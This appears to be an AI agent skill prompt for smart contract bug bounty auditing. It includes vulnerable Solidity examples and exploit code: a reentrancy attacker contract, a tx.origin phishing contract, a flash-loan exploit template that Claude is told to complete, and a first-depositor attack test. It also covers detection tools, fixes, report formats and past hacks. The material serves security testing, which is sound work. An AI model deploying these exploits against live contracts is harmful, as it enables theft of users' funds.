Smart contract auditing, DeFi exploit detection, NFT security, bridge vulnerabilities, and on-chain attack patterns. Invoke this skill PROACTIVELY whenever: a target involves any smart contract, DeFi protocol, NFT marketplace, DAO governance, cross-chain bridge, yield aggregator, or token contract. Also invoke when you see Solidity/Vyper source code, etherscan links, contract addresses, or any blockchain-related functionality in a bug bounty target. If the target has ANY web3/blockchain component, this skill applies.
Before testing anything, identify the contract type. This determines which attack classes apply.
| What you're looking at | How to identify | Test FIRST | Then test |
|---|---|---|---|
| DEX / AMM (Uniswap, PancakeSwap) | swap(), addLiquidity(), removeLiquidity() functions | Flash loan attacks, sandwich attacks, oracle manipulation | Reentrancy, access control |
| Lending protocol (Aave, Compound) | borrow(), repay(), liquidate() functions | Flash loan liquidation, oracle price manipulation | Interest calculation rounding, collateral factor bypass |
| ERC-20 token | transfer(), approve(), transferFrom() | Integer overflow (pre-0.8.0), approve race condition | Access control on mint/burn, fee-on-transfer edge cases |
| ERC-721 / ERC-1155 (NFT) | mint(), safeMint(), safeTransferFrom() | Lazy minting exploits, metadata manipulation | Royalty bypass, minting limits bypass |
| Governance / DAO |
| propose(), vote(), execute() |
| Flash loan governance attack, quorum manipulation |
| Proposal execution delay bypass, vote delegation abuse |
| Bridge / cross-chain | deposit(), withdraw(), relayMessage() | Signature verification bypass, replay attacks | Message ordering, withdrawal delay bypass |
| Yield aggregator / vault | deposit(), withdraw(), harvest() | Share price manipulation, first depositor attack | Withdrawal fee bypass, strategy manipulation |
| Proxy / upgradeable | delegatecall, implementation(), upgradeTo() | Storage collision, uninitialized proxy | Upgrade authorization bypass |
Quick-start for ANY contract:
delegatecall - if present, test storage collisiononlyOwner / access control modifiers - are all sensitive functions protected?slither . --print human-summaryThe most infamous smart contract vulnerability. Occurs when an external call is made before state updates.
Classic reentrancy:
// VULNERABLE - state update after external call
function withdraw(uint amount) public {
require(balances[msg.sender] >= amount);
(bool success, ) = msg.sender.call{value: amount}("");
require(success);
balances[msg.sender] -= amount; // Too late!
}
// EXPLOIT CONTRACT
contract Attacker {
function attack() external payable {
victim.deposit{value: 1 ether}();
victim.withdraw(1 ether);
}
receive() external payable {
if (address(victim).balance >= 1 ether) {
victim.withdraw(1 ether); // Re-enter before balance updated
}
}
}
Cross-function reentrancy:
// withdraw() and transfer() share state but don't guard each other
function withdraw() public {
uint amount = balances[msg.sender];
(bool success, ) = msg.sender.call{value: amount}("");
balances[msg.sender] = 0;
}
function transfer(address to, uint amount) public {
if (balances[msg.sender] >= amount) {
balances[msg.sender] -= amount;
balances[to] += amount;
}
}
// Attacker re-enters via transfer() during withdraw() callback
Read-only reentrancy:
// View function returns stale state during reentrancy
function getPrice() public view returns (uint) {
return totalAssets / totalShares; // Stale during callback
}
// Another protocol reads this price mid-reentrancy = manipulated price
Detection patterns:
nonReentrant modifier)Pre-Solidity 0.8.0 (no built-in overflow protection):
// VULNERABLE
uint8 balance = 255;
balance += 1; // Wraps to 0
uint8 balance = 0;
balance -= 1; // Wraps to 255
// EXPLOIT: bypass balance checks
function transfer(address to, uint256 amount) public {
require(balances[msg.sender] - amount >= 0); // Always true with underflow!
balances[msg.sender] -= amount;
balances[to] += amount;
}
Post-0.8.0 bypass via unchecked blocks:
// Devs sometimes use unchecked for gas optimization
unchecked {
balance -= amount; // Can still underflow!
}
Detection:
unchecked blocks with arithmetic on user-controlled valuesMissing access control:
// VULNERABLE - anyone can call
function setAdmin(address newAdmin) public {
admin = newAdmin;
}
// VULNERABLE - tx.origin instead of msg.sender
function transferOwnership(address newOwner) public {
require(tx.origin == owner); // Phishing attack via intermediary contract
owner = newOwner;
}
tx.origin phishing attack:
// Attacker deploys this and tricks owner into calling it
contract Phisher {
function claimReward() external {
// tx.origin = victim (who initiated the tx)
// msg.sender = this contract
victim_contract.transferOwnership(attacker); // tx.origin check passes
}
}
Unprotected initializers (proxy patterns):
// VULNERABLE - initializer can be called by anyone
function initialize(address _admin) public {
admin = _admin;
}
// Missing: require(!initialized) or OpenZeppelin's initializer modifier
Detection patterns:
onlyOwner/onlyAdmin modifierstx.origin used for authorizationinitialize() in proxy contractsselfdestruct callable by non-owners// VULNERABLE - delegatecall preserves caller's storage layout
contract Proxy {
address public implementation; // slot 0
address public owner; // slot 1
fallback() external payable {
(bool success,) = implementation.delegatecall(msg.data);
}
}
contract Implementation {
address public someAddress; // slot 0 - OVERWRITES implementation!
function setAddress(address _addr) public {
someAddress = _addr; // Actually overwrites Proxy.implementation
}
}
Detection:
- Transactions with predictable profitable outcomes
- Missing commit-reveal schemes
- No slippage protection on DEX trades
- Oracle updates without delay mechanisms
Common targets:
- DEX trades without slippage limits
- NFT mints with known rarity
- Liquidation calls in lending protocols
- Governance vote outcomes
Which DeFi attack applies to THIS protocol?
| Protocol has... | Primary attack vector | Why |
|---|---|---|
| Flash loans available (Aave, dYdX) | Flash loan + oracle manipulation | Borrow massive capital, manipulate price, profit, repay - all in one tx |
| AMM with liquidity pools | Sandwich attack | Front-run victim's swap with buy, victim gets worse price, back-run with sell |
| Price oracle using spot price | Oracle manipulation | Manipulate pool ratio in same block, oracle reads manipulated price |
| Governance with token-weighted voting | Flash loan governance | Borrow governance tokens, vote, execute proposal, return tokens |
| First deposit in a new vault/pool | Share price manipulation | Deposit 1 wei, donate large amount, inflate share price, next depositor loses |
Attack template:
1. Borrow massive amount via flash loan (no collateral needed)
2. Use borrowed funds to manipulate price/state
3. Exploit the manipulated state for profit
4. Repay flash loan + fee
5. Keep profit
Platforms: Aave, dYdX, Balancer, Uniswap V3
Loan sizes: Up to hundreds of millions in a single tx
Price oracle manipulation via flash loan:
// VULNERABLE - spot price as oracle
function getPrice() public view returns (uint) {
// Uses current pool reserves - manipulable via flash loan
(uint reserve0, uint reserve1,) = pair.getReserves();
return reserve0 * 1e18 / reserve1;
}
// ATTACK FLOW:
// 1. Flash loan large amount of tokenA
// 2. Swap tokenA for tokenB on Uniswap (moves spot price)
// 3. Interact with vulnerable protocol that reads manipulated price
// 4. Profit from mispriced assets
// 5. Swap back, repay flash loan
Detection:
block.number checks)Flash loan exploitation procedure (Claude: you know Solidity - write the contract):
Identify the opportunity:
Write the exploit contract:
// Template - Claude fills in target-specific logic
contract FlashLoanExploit {
function executeAttack() external {
// Step 1: Borrow via flash loan (Aave V3, dYdX, or Balancer)
// Step 2: Manipulate state (swap to move price, vote, deposit)
// Step 3: Extract profit (liquidate, withdraw, claim)
// Step 4: Repay flash loan + fee
// Net profit = extracted value - loan fee
}
// Aave V3 callback
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
// Steps 2-3 go here
// Approve repayment
IERC20(assets[0]).approve(msg.sender, amounts[0] + premiums[0]);
return true;
}
}
Test on mainnet fork:
forge test --fork-url https://eth-mainnet.g.alchemy.com/v2/YOUR_KEY --match-test testFlashLoanAttack -vvvv
Measure impact: calculate profit, TVL at risk, and affected users
Report with: exploit contract source, forge test output showing profit, mainnet fork block number, impact calculation
MEMPOOL MONITORING:
1. Detect victim's pending DEX swap in mempool
2. Front-run: buy the same token (raises price)
3. Victim's swap executes at worse price
4. Back-run: sell the token at inflated price
5. Profit = victim's slippage
DETECTION IN CONTRACTS:
- Missing minimum output amount (slippage protection)
- No deadline parameter on swaps
- Large swaps without MEV protection (Flashbots, private mempool)
Red flags in contract code:
// DANGEROUS: Owner can drain all funds
function emergencyWithdraw() external onlyOwner {
payable(owner).transfer(address(this).balance);
}
// DANGEROUS: Owner can mint unlimited tokens
function mint(address to, uint amount) external onlyOwner {
_mint(to, amount);
}
// DANGEROUS: Hidden transfer fee / tax manipulation
function setTaxRate(uint newRate) external onlyOwner {
taxRate = newRate; // Can set to 99%
}
// DANGEROUS: Blacklist function prevents selling
function setBlacklist(address user, bool status) external onlyOwner {
blacklisted[user] = status;
}
// DANGEROUS: Proxy can be upgraded to malicious implementation
function upgradeTo(address newImpl) external onlyOwner {
implementation = newImpl; // Can swap to drain contract
}
Liquidity rug indicators:
FLASH LOAN GOVERNANCE:
1. Flash loan governance tokens
2. Create and vote on malicious proposal
3. Proposal passes (attacker has majority)
4. Execute proposal (drain treasury)
5. Return governance tokens
DETECTION:
- No snapshot mechanism for voting power
- Voting power checked at vote time, not proposal time
- No time delay between proposal and execution
- Low quorum requirements
First depositor / share inflation attack procedure:
This affects any vault/pool where shares represent proportional ownership.
Write the Foundry test. Claude: you know the ERC4626 vault pattern. Apply it.
// Foundry test template for first depositor attack
contract FirstDepositorAttackTest is Test {
ERC4626Vault vault;
ERC20Mock underlying;
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
function setUp() public {
underlying = new ERC20Mock();
vault = new ERC4626Vault(underlying);
underlying.mint(attacker, 10_000e18);
underlying.mint(victim, 10_000e18);
}
function testFirstDepositorAttack() public {
// Step 1: Attacker deposits 1 wei
vm.startPrank(attacker);
underlying.approve(address(vault), type(uint256).max);
vault.deposit(1, attacker);
// Attacker has 1 share
// Step 2: Attacker donates large amount directly (not via deposit)
underlying.transfer(address(vault), 1000e18);
// Now 1 share = 1 wei + 1000e18. Share price inflated.
vm.stopPrank();
// Step 3: Victim deposits - gets 0 shares due to rounding
vm.startPrank(victim);
underlying.approve(address(vault), type(uint256).max);
uint256 victimShares = vault.deposit(999e18, victim);
vm.stopPrank();
// Victim gets 0 shares - funds trapped
assertEq(victimShares, 0, "Victim should get 0 shares");
// Step 4: Attacker withdraws - gets their donation + victim's deposit
vm.prank(attacker);
uint256 attackerWithdraw = vault.redeem(1, attacker, attacker);
assertGt(attackerWithdraw, 1000e18, "Attacker profits from victim deposit");
}
}
Detection patterns:
_decimalsOffset())totalAssets() / totalShares calculation without minimum deposit enforcement// VULNERABLE - predictable tokenId allows frontrunning rare NFTs
function lazyMint(uint tokenId, bytes memory signature) public payable {
require(verify(tokenId, signature), "Invalid signature");
_mint(msg.sender, tokenId);
}
// Attacker sees pending mint tx, identifies rare tokenId, frontruns with same signature
CENTRALIZED METADATA RISKS:
- Off-chain metadata on HTTP servers (can be changed post-mint)
- IPFS without content pinning
- Centralized API that resolves tokenURI (single point of failure)
TESTING:
1. Check if tokenURI points to centralized server
2. Check if baseURI can be changed by owner post-mint
3. Check if metadata is on IPFS with pinning
4. Check if token reveals are manipulable
EIP-2981 royalties are OPTIONAL - marketplaces can ignore them
COMMON BYPASSES:
1. Transfer via direct ERC-721 transfer (no marketplace = no royalty)
2. Wrapper contracts that hold NFT and sell wrapper token
3. OTC trades via escrow contracts
4. Marketplaces that don't enforce EIP-2981 (Blur, SudoSwap)
// VULNERABLE - no per-wallet limit
function mint(uint amount) public payable {
require(totalSupply + amount <= maxSupply);
require(msg.value >= price * amount);
_mint(msg.sender, amount);
}
// Attacker mints all from contract, bypasses "per wallet" limits
// VULNERABLE - weak randomness for rarity
function _getTraits(uint tokenId) internal view returns (uint) {
return uint(keccak256(abi.encodePacked(block.timestamp, tokenId))) % 100;
// Predictable - miner/validator can manipulate block.timestamp
}
COMMON BRIDGE ARCHITECTURE:
Chain A → Lock tokens → Emit event → Relayer picks up → Chain B → Mint wrapped tokens
ATTACK VECTORS:
1. Fake deposit events (insufficient event verification)
2. Replay attacks (same proof used on multiple chains)
3. Relayer manipulation (compromised validator set)
4. Signature verification bypass
5. Incorrect chain ID validation
// VULNERABLE - missing chain ID in signed message
function claim(uint amount, bytes memory signature) public {
bytes32 hash = keccak256(abi.encodePacked(amount, msg.sender));
require(recover(hash, signature) == validator);
// Missing: chain ID, nonce, contract address in hash
// Same signature valid on all chains!
}
// VULNERABLE - ecrecover returns address(0) on invalid signature
function verify(bytes32 hash, uint8 v, bytes32 r, bytes32 s) public pure returns (address) {
address signer = ecrecover(hash, v, r, s);
// Missing: require(signer != address(0))
// If signer mapping has address(0) as valid, attacker bypasses
}
CHECKLIST:
[ ] Verify deposit event authenticity (block hash, tx proof)
[ ] Check for replay protection (nonces, chain IDs)
[ ] Validate signature scheme (threshold, key rotation)
[ ] Test message ordering assumptions
[ ] Check withdrawal delay / challenge period
[ ] Verify upgrade mechanisms (proxy patterns)
[ ] Test admin key security (multisig, timelock)
[ ] Verify merkle proof validation
// 1. Unprotected selfdestruct
function kill() public { selfdestruct(payable(owner)); }
// 2. Block timestamp dependence for randomness
uint random = uint(keccak256(abi.encodePacked(block.timestamp)));
// 3. Unchecked return value on low-level calls
address(target).call{value: amount}(""); // Ignored return value
// 4. Storage collision in proxy patterns
// Implementation slot 0 != Proxy slot 0
// 5. Denial of service via unbounded loops
function distributeRewards() public {
for (uint i = 0; i < holders.length; i++) { // Unbounded!
holders[i].transfer(rewards[i]);
}
}
// 6. Force-feeding ETH via selfdestruct
// Contract assumes address(this).balance == tracked deposits
// Attacker selfdestructs contract with ETH to this address
// 7. Signature malleability
// ECDSA signatures have two valid forms (s, n-s)
// Missing: require(s <= N/2) or use OpenZeppelin ECDSA
// Checks-Effects-Interactions
function withdraw(uint amount) public nonReentrant {
require(balances[msg.sender] >= amount); // Check
balances[msg.sender] -= amount; // Effect
(bool success, ) = msg.sender.call{value: amount}(""); // Interaction
require(success);
}
// Pull over Push for payments
mapping(address => uint) public pendingWithdrawals;
function withdraw() public {
uint amount = pendingWithdrawals[msg.sender];
pendingWithdrawals[msg.sender] = 0;
payable(msg.sender).transfer(amount);
}
// Use Chainlink VRF for randomness
// Use OpenZeppelin's AccessControl for roles
// Use UUPS or Transparent proxy patterns correctly
// Use SafeERC20 for token interactions
# Slither - comprehensive static analyzer
slither ./contracts/ --print human-summary
slither ./contracts/ --detect reentrancy-eth,reentrancy-no-eth
slither ./contracts/ --detect arbitrary-send-erc20
slither ./contracts/ --detect suicidal
slither ./contracts/ --detect unprotected-upgrade
# Common high-confidence detectors:
# reentrancy-eth - Reentrancy with ETH transfer
# arbitrary-send-erc20 - Unprotected token transfer
# suicidal - Unprotected selfdestruct
# controlled-delegatecall - Delegatecall to user-controlled address
# uninitialized-state - Uninitialized state variables
# Mythril - symbolic execution engine
myth analyze ./contracts/Vulnerable.sol
myth analyze ./contracts/Vulnerable.sol --execution-timeout 300
myth analyze --solc-json mythril.config.json
# Manticore - symbolic execution framework
manticore ./contracts/Vulnerable.sol --contract Vulnerable
# Echidna - property-based fuzzer
echidna ./contracts/Test.sol --contract TestContract --config echidna.yaml
# Example property test:
# function echidna_balance_invariant() public returns (bool) {
# return address(this).balance >= totalDeposits;
# }
# Foundry Fuzz Testing
forge test --fuzz-runs 10000
# function testFuzz_withdraw(uint256 amount) public {
# vm.assume(amount <= address(vault).balance);
# vault.withdraw(amount);
# assertEq(address(vault).balance, initialBalance - amount);
# }
# Foundry - fast Solidity testing framework
forge build # Compile
forge test -vvvv # Test with max verbosity
forge test --gas-report
forge inspect Contract storage-layout
# Hardhat
npx hardhat compile
npx hardhat test
npx hardhat run scripts/exploit.js --network fork
# Fork mainnet for testing against live state
forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/KEY
anvil --fork-url https://eth-mainnet.alchemyapi.io/v2/KEY
# Etherscan source verification
# Check if source matches bytecode
# Look for proxy patterns and implementation contracts
# Tenderly - transaction simulation and debugging
# Simulate transactions before sending
# Debug failed transactions with stack traces
# Dune Analytics / Nansen - on-chain behavior analysis
# Track fund flows and whale movements
REQUIRED EVIDENCE:
1. Vulnerable contract address and function
2. Solidity source code with vulnerability highlighted
3. Exploit contract or script (Foundry/Hardhat test)
4. Step-by-step reproduction:
a. Deploy exploit contract
b. Call vulnerable function
c. Show state change (funds drained, access escalated)
5. Mainnet fork proof (demonstrate on forked state)
6. Impact calculation (TVL at risk, affected users)
7. Suggested fix with corrected code
FORMAT:
- Foundry test file with POC
- Transaction trace showing exploit flow
- Before/after balance comparison
- Gas cost of attack
REQUIRED EVIDENCE:
1. Attack transaction flow (step by step)
2. Flash loan source and amount
3. Affected pools/protocols
4. Price impact calculation
5. Profit calculation
6. Foundry/Hardhat POC on mainnet fork
7. TVL at risk and historical TVL data
Proof by vulnerability class:
| Vulnerability | Required proof |
|---|---|
| Reentrancy | Foundry PoC showing re-entered function, before/after balance diff |
| Flash loan attack | Full transaction trace showing borrow-manipulate-profit-repay in single tx |
| Oracle manipulation | Show oracle price before/after manipulation, profit extracted |
| Access control | Show unauthorized caller successfully invoking restricted function |
| Integer overflow | Show input values that wrap, resulting state change |
| Sandwich attack | Simulate on mainnet fork: front-run tx, victim tx, back-run tx, profit calculation |
| Governance attack | Show vote with flash-loaned tokens, proposal execution |
| Bridge replay | Show same message accepted on destination chain twice |
| Vulnerability | Typical Range | Top Payouts |
|---|---|---|
| Reentrancy (critical) | $10,000 - $100,000 | $500,000+ (Immunefi) |
| Flash loan oracle manipulation | $20,000 - $200,000 | $1,000,000+ |
| Bridge signature bypass | $50,000 - $500,000 | $2,000,000+ (Wormhole) |
| Access control (admin functions) | $5,000 - $50,000 | $250,000 |
| Integer overflow (fund loss) | $5,000 - $100,000 | $500,000 |
| Governance attack | $10,000 - $150,000 | $500,000 |
| NFT minting exploit | $5,000 - $25,000 | $50,000 |
| Front-running / MEV | $5,000 - $50,000 | $100,000 |
| Proxy storage collision | $10,000 - $100,000 | $250,000 |
| Logic error (fund drainage) | $10,000 - $500,000 | $10,000,000 (Immunefi max) |
Immunefi - Largest Web3 bug bounty platform, $100M+ in bounties
Code4rena - Competitive audit contests, $25K-$1M+ prize pools
Sherlock - Protocol audit contests with staking
HackerOne - Some Web3 programs (Coinbase, Crypto.com)
Bugcrowd - Limited Web3 programs
Direct - Protocol-specific programs (Uniswap, Aave, MakerDAO)
The DAO Hack (2016):
- Reentrancy attack drained 3.6M ETH (~$60M at time)
- Led to Ethereum hard fork (ETH/ETC split)
- Classic checks-effects-interactions violation
Wormhole Bridge (2022):
- Signature verification bypass
- 120,000 wETH stolen (~$320M)
- Attacker forged guardian signatures
Beanstalk Governance (2022):
- Flash loan governance attack
- $182M drained via malicious proposal
- Borrowed governance tokens, voted, executed, returned
Ronin Bridge (2022):
- Compromised validator keys (5 of 9)
- 173,600 ETH + 25.5M USDC stolen (~$620M)
- Social engineering + insufficient key management
Euler Finance (2023):
- Flash loan + donation attack
- $197M stolen (later returned)
- Manipulated internal accounting via forced donation